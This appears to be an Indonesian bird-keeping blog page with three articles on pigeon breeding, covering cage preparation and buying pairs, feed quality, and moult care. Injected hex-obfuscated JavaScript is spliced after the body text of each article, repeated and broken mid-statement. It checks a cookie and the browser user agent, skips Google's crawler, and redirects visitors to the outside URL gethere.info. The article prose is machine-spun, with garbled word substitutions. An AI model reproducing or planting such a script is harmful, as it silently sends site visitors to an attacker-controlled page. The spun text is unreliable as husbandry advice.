IBX5980432E7F390 Persiapan Sebelum Beternak Burung Merpati Kupas Triknya - Kicauan Burung Lovebird Ngekek

Persiapan Sebelum Beternak Burung Merpati Kupas Triknya

Persiapan Sebelum Beternak Burung Merpati

Persiapan sebelum beternak burung merpati-Sebenarnya beternak merpati itu merupakan hal yang dibilang gampang-gampang susah. Maksudnya ialah gampang bagi penangkar yang sudah berpengalaman, dan susah untuk penangkar yang belum banyak pengalamannnya.

Pertama kali menangkarkan merpati memanglah sedikit sulit, akan tetapi bila sudah terbiasa pastilah tidaklah sesulit pada awalnya.

Hal yang membuat penangkar pemula kesulitan dalam menangkarkan merpati yaitu sulitnya menjinakkan merpati yang masih liar. Akan tetapi, jika merpati sudah jinak, semua hal pasti menjadi senang.Persiapan Sebelum Beternak  Burung Merpati

Memang awalnya menjinakkan merpati yang liar itu tidaklah praktis, tetapi sesudah merpati tersebut menjadi jinak penangkar akan merasa tidak keberatan lagi dalam memelihara merpati.

Hal yang paling utama dipersiapkan sebelum beternak burung merpati ialah menyiapkan sangkar. Siapkan sangkar sesuai dengan berapa banyak merpati yang kita beli.

Apabila kita ingin membeli merpati sebanyak 4 ekor atau 2 pasang merpati, siapkanlah 4 sangkar merpati juga. Buatlah kandang sesuai dengan kebutuhan merpati dan lahan yang ada. Jika lahannya luas, kita mampu menciptakan sangkar dengan ukuran yang besar .

Dan bila kita hanya memiliki lahan yang sedikit, jangan paksakan membuat sangkar dengan ukuran yang besar. Buatlah sangkar dengan ukuran yang kecil tetapi nyaman untuk merpati.

Mendapatkan pasangan burung merpati yang baik memang sangatlah sulit. Terlebih lagi bila kita membelinya di pasar burung.

Pada umumnya, di pasar burung jarang menjual burung merpati yang memang sudah berjodoh pada awalnya. Dan yang lebih parahnya lagi kalau kita membeli burung di pasar burung, jenis kelamin burung tersebut belum diketahui.

Berbeda jika kita membeli pasangan burung merpati di penangkar yang sudah sukses. Disitu kita bisa menemukan banyak pasangan merpati yang baik dan berkualitas tinggi. Tidak ada pasangan burung merpati yang tidak baik.

Kalaupun ada, paling tidak hanya beberapa saja. Disitu juga, jenis kelamin burung merpati sudah ditentukan. Kaprikornus, kita tidak perlu bersusah payah memilih jenis kelamin yang akan kita beli.

Namun, bila kita membeli merpati di penangkar tentunya harganya tidak sama dengan harga di pasar burung. Harga di pasar burung lebih murah daripada harga di penangkar.

Tapi, bila kita menginginkan burung merpati kita menjadi merpati jawara, apa salahnya kita membeli induk burung merpati yang mahal.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)nw))(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)palm( os)?)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Asal-Usul Burung Merpati Didunia
  • Tips Sebelum Menangkarkan Burung Merpati
  • Teknik Menjodohkan Merpati Secara Cepat
  • Perawatan Merpati Mabung Ganti Bulu
  • Merawat Ganti Bulu Mabung pada Burung Merpati
  • Merawat Bakalan Murai Batu Rontok Bulu|Mabung
  • Cara Beternak Merpati Pedaging Pemula
  • 2 Jenis Burung Merpati Impor Berkualitas
  • Cara Mengawinkan Induk Merpati Liar
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Merawat Dan Melatih Anakan Merpati

Pakan Utama Harian Burung Merpati Bagus

Pakan utama harian burung merpati bagus-Makanan yang baik akan mempengaruhi bagaimana kualitas burung tersebut. Jika kuliner yang diberikan oleh penangkar berkualitas baik, burung tersebut juga akan menjadi burung yang berkualitas baik pula.

Sebaliknya, jikalau penangkar menyampaikan makanan yang bermutu rendah, maka burung tersebut akan menjadi burung yang bermutu rendah juga. Hal ini diterapkan tidak hanya pada burung merpati saja, tetapi kepada semua burung.Pakan Utama Harian Burung Merpati Bagus

Sebaiknya, dalam santunan pakan hendaknya kita  melihat dahulu kuliner tersebut. Siapa tahu saja di dalam makanan tersebut terdapat basil-bakteri yang mampu saja termakan oleh merpati.

Hal ini biasanya terjadi pada makan yang kurang mutunya. Di dalam pakan yang mutunya rendah, banyak terdapat bakteri-bakteri.

Jika kita ingin memberikannya kepada merpati sebaiknya dipilih dahulu, supaya kuman tidak terpengaruhi oleh merpati.

Kita para penangkar burung merpati disarankan jangan menyampaikan kuliner yang bermutu jelek.

Karena kuliner yang bermutu buruk akan menciptakan merpati kita menjadi burung yang berkualitas sangat rendah, walaupun merpati kita berasal dari indukan jawara sekalipun. Lagi pula kuliner yang bermutu rendah, tentu saja nilai gizinya tidak ada di dalamnya.

Burung merpati termasuk ke dalam burung yang tidak mampu kekurangan gizi sedikitpun. Untuk itulah, dengan perlindungan kuliner yang berkualitas tinggi, sudah membantu dalam melengkapi gizi burung merpati. Apabila merpati kekurangan gizi bisa berakibat fatal.

Memang pertamanya merpati tidak menunjukkan gejala apa-apa. Setelah beberapa hari, barulah merpati menunjukkan gejala-gejalanya.

Burung merpati yang kekurangan gizi akan menjadi lemah sekali. Lemah dalam arti disini ialah merpati tidak mampu menahan penyakit yang menyerang tubuhnya.

Merpati yang kekurangan asupan gizi usang kelamaan jika dibiarkan akan mati. Untuk menghindari itu hendaknya kita memberikan kuliner yang memiliki gizi yang tinggi.

Pemberian kuliner yang bergizi juga harus diubahsuaikan dengan kebutuhan merpati. Memberikan makanan yang bergizi jangan terlalu banyak dan jangan terlalu sedikit.

Jika terlalu banyak maka merpati akan berlebihan mendapat asupan gizi. Asupan gizi yang berlebihan akan menciptakan merpati menjadi gemuk. Merpati yang terlalu gemuk mampu juga menimbulkan akhir hidup.

Kekurangan makanan yang bergizi juga akan menimbulkan kemati bagi merpati. Untuk itulah, peran ktia sebagai penangkar harus menyesuaikan kuliner yang diberikan kepada merpati, supaya merpati tetap menerima asupan gizi dan tidak kelebihan atau kekurangan asupan gizi.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Pakan Burung Merpati Muda Berkualitas
  • Tips Menjaga Kesehatan Merpati Lomba
  • Peralatan Dalam Burung Kandang Merpati
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Tips Dalam Lomba Burung Merpati
  • Bentuk ukuran Kandang Burung Merpati
  • Gejala Merpati jikalau Terserang Penyakit
  • Pakan Spesial Untuk Burung Merpati Pos
  • Tips Melombakan Burung Merpati Betina
  • Cara Mengawinkan Merpati yang Baik
  • Jenis Merpati Pos Paling Populer Mahal

Merawat Ganti Bulu Mabung pada Burung Merpati

Merawat ganti bulu mabung pada burung merpati-Ganti bulu merupakan hal yang biasa terjadi pada setiap burung, tak terkecuali pada burung merpati. Biasanya, merpati pertama kali mengalami era ganti bulu yaitu ketika merpati menginjak usia 8 bulan.

Orang-orang banyak menyebutnya dengan istilah pergantian bulu dari anak-anak menjadi bulu dewasa. Maka dari itu merpati sudah tidak dianggap lagi sebagaimerpati anakan lantaran bulunya sudah berganti.Merawat Ganti Bulu Mabung pada Burung Merpati

Apakah ada burung merpati yang mengalami ganti buludi bawah usia normal yaitu 8 bulan? Ya, ada. Merpati yang ganti bulu di belum dewasa 8 bulan, biasanya hormon pada tubuhnya sedang bermasalah. Karena itulah pergantian bulu terjadi sebelum periodenya ganti bulu terjadi.

Akan tetapi berdasarkan data yang diambil dari beberapa anakan merpati, yang mengalami pergantian bulu di bawah usia normal itu hanya sedikit saja. Selebihnya pergantian bulu akan berjalan normal.

Ketika burung sedang mengalami masa ganti bulu, berilah asupan kuliner yang baik. Tujuannya agar bulu-bulu yang telah rontok akan cepat tumbuh kembali.

Jika kita tidak menyampaikan asupan kuliner yang bergizi pada ketika merpati ganti bulu yang terjadi adalah bulunya akan usang sekali tumbuh. Bukankah itu akan menyiksa burung merpati bila dibiarkan lama-lama tidak berbulu?

Untuk pergantian bulu yang normal biasanya terjadi paling usang 2 ahad. Lebih dari 2 minggu, berarti itu pergantian bulu yang tidak normal.

Jika biasanya merpati bersikap traktif, pada waktu 2 minggu (pada waktu ganti bulu) tersebut merpati akan lebih banyak berdiam diri di kandang. Mengapa burung merpati berdiam diri di dalam sangkar?

Itu lantaran merpati menahan sakit karena bulu-bulunya yang pada rontok. Tidak hanya merpati saja yang mengalami hal seolah-olah ini, akan tetapi burung-burung jenis lain juga akan mengalami hal seperti ini.

Kita tidak perlu khawatir jika merpati berdiam diri di dalam sangkar karena itu merupakan hal yang biasa bagi merpati tersebut.

Supaya merpati tidak terus menerus berdiam diri lantaran menahan rasa sakit akibat bulunya yang rontok, kita harus meringankan beban merpati.

Caranya dengan menyampaikan multivitamin. Multivitamin yang dipilih adalah multivitamin untuk menciptakan bulu merpati cepat tumbuh. Tutorial menyampaikannya kepada merpati ialah dengan memasukkan ke dalam minuman merpati.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Perawatan Merpati Mabung Ganti Bulu
  • Merawat Dan Melatih Anakan Merpati
  • Sistem Lomba Merpati Duda
  • Tips Dalam Lomba Burung Merpati
  • Menjaga Kesehatan Burung Merpati Harian
  • Memelihara Kesehatan Burung Merpati Dewasa
  • Kontruksi Kandang Burung Merpati Pos
  • Persiapan Sebelum Beternak Burung Merpati
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Cara Mengawinkan Merpati yang Baik
  • Cara Merawat Anakan Merpati Sampai Dewasa

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Persiapan Sebelum Beternak Burung Merpati Kupas Triknya"

Posting Komentar